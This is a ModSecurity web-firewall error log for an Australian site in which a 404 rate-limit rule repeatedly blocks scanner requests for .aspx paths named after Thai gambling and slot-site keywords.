[Tue Jan 27 14:13:48.927104 2026] [:error] [pid 48446:tid 48499] [client 217.182.139.33:40010] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81.aspx"] [unique_id "aXhXnMDRSaZ8F8aaLxlVUgAAAdU"]
[Tue Jan 27 14:13:51.332845 2026] [:error] [pid 41780:tid 41806] [client 217.182.139.33:40020] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97%E0%B8%81%E0%B9%87%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89.aspx"] [unique_id "aXhXn1vu-XLQ0TaZ4FHdfgAAARg"]
[Tue Jan 27 14:13:53.729621 2026] [:error] [pid 7561:tid 7588] [client 217.182.139.33:40034] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%B5%E0%B9%88%20%E0%B8%A1%E0%B8%B5%20%E0%B8%84%E0%B8%99%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%A1%E0%B8%B2%E0%B8%81%20%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhXobXGI6mgvHQqkXyinQAAANg"]
[Tue Jan 27 14:13:56.130684 2026] [:error] [pid 48446:tid 48497] [client 217.182.139.33:38196] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2020%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXhXpMDRSaZ8F8aaLxlVWQAAAdM"]
[Tue Jan 27 14:13:58.559406 2026] [:error] [pid 48662:tid 48682] [client 217.182.139.33:38204] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXhXpuD8iESUP9uRiRPJHQAAAo4"]
[Tue Jan 27 14:14:00.942137 2026] [:error] [pid 48528:tid 48534] [client 217.182.139.33:38216] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88.aspx"] [unique_id "aXhXqAOGRrquT9N7CZpJzwAAAgQ"]
[Tue Jan 27 14:14:03.344413 2026] [:error] [pid 48631:tid 48633] [client 217.182.139.33:38222] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aXhXqyN5eesHzEogX0wQTQAAAkA"]
[Tue Jan 27 14:14:05.884383 2026] [:error] [pid 48412:tid 48419] [client 217.182.139.33:50258] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aXhXrXbJMfAKlln88JGtHAAAAUU"]
[Tue Jan 27 14:14:08.258897 2026] [:error] [pid 48528:tid 48553] [client 217.182.139.33:50266] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXhXsAOGRrquT9N7CZpJ0gAAAhc"]
[Tue Jan 27 14:14:10.645905 2026] [:error] [pid 48528:tid 48541] [client 217.182.139.33:50276] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXhXsgOGRrquT9N7CZpJ0wAAAgs"]
[Tue Jan 27 14:14:13.039755 2026] [:error] [pid 7453:tid 7497] [client 217.182.139.33:50288] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXhXtRfsyA2ws_ADquhJXAAAAEg"]
[Tue Jan 27 14:14:15.583054 2026] [:error] [pid 48446:tid 48482] [client 217.182.139.33:49862] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXhXt8DRSaZ8F8aaLxlVZAAAAcU"]
[Tue Jan 27 14:14:17.944118 2026] [:error] [pid 48528:tid 48539] [client 217.182.139.33:49870] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aXhXuQOGRrquT9N7CZpJ3QAAAgk"]
[Tue Jan 27 14:14:20.494422 2026] [:error] [pid 7454:tid 7537] [client 217.182.139.33:49880] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shorturl%20asia%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhXvJltCoZEfMmfl8Du9QAAAJU"]
[Tue Jan 27 14:14:22.854785 2026] [:error] [pid 48446:tid 48483] [client 217.182.139.33:49896] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhXvsDRSaZ8F8aaLxlVagAAAcY"]
[Tue Jan 27 14:14:25.397105 2026] [:error] [pid 48412:tid 48437] [client 217.182.139.33:60030] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234.aspx"] [unique_id "aXhXwXbJMfAKlln88JGtNQAAAVc"]
[Tue Jan 27 14:14:27.793020 2026] [:error] [pid 48446:tid 48500] [client 217.182.139.33:60046] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa777.aspx"] [unique_id "aXhXw8DRSaZ8F8aaLxlVcgAAAdY"]
[Tue Jan 27 14:14:30.308463 2026] [:error] [pid 48528:tid 48552] [client 217.182.139.33:60052] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100.aspx"] [unique_id "aXhXxgOGRrquT9N7CZpJ4QAAAhY"]
[Tue Jan 27 14:14:32.720826 2026] [:error] [pid 41780:tid 41790] [client 217.182.139.33:60066] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXhXyFvu-XLQ0TaZ4FHdrwAAAQg"]
[Tue Jan 27 14:14:35.088183 2026] [:error] [pid 48631:tid 48655] [client 217.182.139.33:36632] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet168%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXhXyyN5eesHzEogX0wQYgAAAlY"]
[Tue Jan 27 14:14:37.608600 2026] [:error] [pid 7561:tid 7578] [client 217.182.139.33:36642] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aXhXzbXGI6mgvHQqkXyivQAAAM4"]
[Tue Jan 27 15:30:01.358379 2026] [:error] [pid 7561:tid 7564] [client 54.37.252.119:41626] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhpebXGI6mgvHQqkXytOQAAAMA"]
[Tue Jan 27 15:30:03.794808 2026] [:error] [pid 48528:tid 48554] [client 54.37.252.119:49738] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%A3%E0%B8%A1%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhpewOGRrquT9N7CZpSMwAAAhg"]
[Tue Jan 27 15:30:06.433241 2026] [:error] [pid 48631:tid 48649] [client 54.37.252.119:49740] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXhpfiN5eesHzEogX0wafAAAAlA"]
[Tue Jan 27 15:30:09.230927 2026] [:error] [pid 7454:tid 7522] [client 54.37.252.119:51728] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20pg%20slot.aspx"] [unique_id "aXhpgZltCoZEfMmfl8D4cQAAAIY"]
[Tue Jan 27 15:30:12.044644 2026] [:error] [pid 48446:tid 48492] [client 54.37.252.119:51738] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20369.aspx"] [unique_id "aXhphMDRSaZ8F8aaLxliegAAAc4"]
[Tue Jan 27 15:30:14.701896 2026] [:error] [pid 48446:tid 48494] [client 54.37.252.119:51744] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20sbobet%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhphsDRSaZ8F8aaLxlifwAAAdA"]
[Tue Jan 27 15:30:17.292974 2026] [:error] [pid 41780:tid 41799] [client 54.37.252.119:49192] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhpiVvu-XLQ0TaZ4FHoGgAAARE"]
[Tue Jan 27 15:30:19.832477 2026] [:error] [pid 7561:tid 7578] [client 54.37.252.119:49198] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A.aspx"] [unique_id "aXhpi7XGI6mgvHQqkXytfQAAAM4"]
[Tue Jan 27 15:30:22.868442 2026] [:error] [pid 48631:tid 48641] [client 54.37.252.119:49212] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20pg%20slot.aspx"] [unique_id "aXhpjiN5eesHzEogX0waoAAAAkg"]
[Tue Jan 27 15:30:25.612928 2026] [:error] [pid 41780:tid 41786] [client 54.37.252.119:49226] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99superslot.aspx"] [unique_id "aXhpkVvu-XLQ0TaZ4FHoIQAAAQQ"]
[Tue Jan 27 15:30:28.564603 2026] [:error] [pid 48446:tid 48477] [client 54.37.252.119:56532] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg.aspx"] [unique_id "aXhplMDRSaZ8F8aaLxlipQAAAcA"]
[Tue Jan 27 15:30:31.364493 2026] [:error] [pid 7454:tid 7518] [client 54.37.252.119:56544] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2sbobet%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhpl5ltCoZEfMmfl8D4fgAAAII"]
[Tue Jan 27 15:30:34.221330 2026] [:error] [pid 41780:tid 41804] [client 54.37.252.119:56548] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2superslot.aspx"] [unique_id "aXhpmlvu-XLQ0TaZ4FHoKAAAARY"]
[Tue Jan 27 15:30:37.434413 2026] [:error] [pid 48662:tid 48687] [client 54.37.252.119:57426] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2ufabet168.aspx"] [unique_id "aXhpneD8iESUP9uRiRPRNQAAApM"]
[Tue Jan 27 15:30:40.410999 2026] [:error] [pid 7453:tid 7513] [client 54.37.252.119:57438] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%AD%E0%B8%A5%2069.aspx"] [unique_id "aXhpoBfsyA2ws_ADquhdiwAAAFg"]
[Tue Jan 27 15:30:43.254674 2026] [:error] [pid 7561:tid 7565] [client 54.37.252.119:57448] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%20%E0%B8%84%E0%B8%B2.aspx"] [unique_id "aXhpo7XGI6mgvHQqkXytoQAAAME"]
[Tue Jan 27 15:30:46.145832 2026] [:error] [pid 7561:tid 7582] [client 54.37.252.119:57458] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXhpprXGI6mgvHQqkXytogAAANI"]
[Tue Jan 27 15:30:49.899389 2026] [:error] [pid 48662:tid 48670] [client 54.37.252.119:41304] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhpqeD8iESUP9uRiRPRPQAAAoI"]
[Tue Jan 27 15:30:52.975920 2026] [:error] [pid 7453:tid 7492] [client 54.37.252.119:41316] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87777.aspx"] [unique_id "aXhprBfsyA2ws_ADquhdmAAAAEM"]
[Tue Jan 27 15:30:55.433773 2026] [:error] [pid 41780:tid 41790] [client 54.37.252.119:41332] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhpr1vu-XLQ0TaZ4FHoPAAAAQg"]
